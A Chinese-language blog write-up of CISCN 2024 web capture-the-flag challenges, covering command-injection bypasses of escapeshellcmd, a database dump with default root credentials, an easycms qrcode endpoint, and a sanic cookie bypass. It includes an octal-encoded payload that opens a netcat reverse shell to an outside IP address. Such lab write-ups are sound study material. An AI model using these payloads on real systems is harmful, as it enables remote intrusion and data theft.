Ciscn2024 web复现
simple_php
1 |
|
escapeshellcmd函数把单双引号、括号这些都给转义了。
方法一:八进制绕过
payload形式:
1 | php -r print(`命令的八进制形式`); |
试着在网站的目录中找flag,发现根本找不到。
但是发现开启了mysql服务,所以flag很有可能在数据库中。
先反弹shell到自己的服务器上:
1 | php -r print(`\156\143\40\64\67\56\61\61\63\56\62\61\71\56\62\64\64\40\66\66\66\40\55\145\40\163\150`); |
然后用mysql命令连接数据库,密码和账户就是默认的root,登录进去查库查表:
直接读取这个表:
1 | mysql -u root -p 'root' -e 'select * from PHP_CMS.F1ag_Se3Re7;' |
方法二:十六进制绕过
payload形式:
1 | php -r eval(hex2bin(substr(_6563686f20606c73202f603b,1))); |
6563686f20606c73202f603b是**echo `ls /`;**的16进制形式,套上substr是为了绕过引号的限制,从第二位开始读并转成字符串。
方法三:
1 | mysqldump -uroot -proot --all-databases |
把数据库中所有的结构和数据都吐出来(还能这样。。。)
然后搜索flag的关键字即可:
easycms
后来看wp时一直有一个疑问:payload前面的?s=api&c=api&m=qrcode
参数是怎么得来的。
原来这个信息可以搜出来:
结合漏洞出现的php文件(qrcode方法):
所以前面的传参为:
1 | ?s=api&c=api&m=qrcode |
跟进到这个方法里面:
sanic
在/src路由中发现了源码:
观察到:
1 | class Pollute: |
以及:
1 |
|
想到这里可能存在python原型链污染。只要污染到全局变量__file__,在/src路由就会把file的内容给读出来。
审计/login路由源码:
1 |
|
如果直接传入adm;n
,会遇到一个问题:cookie因为分号而被截断成两节,在if判断中无法通过。
正确做法就是通过八进制的形式绕过,且在外面包裹引号时,会被当成八进制进行解析。
payload:
1 | user="adm\073n" |
把这个cookie带着进入/admin路由。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 xiaofucの博客!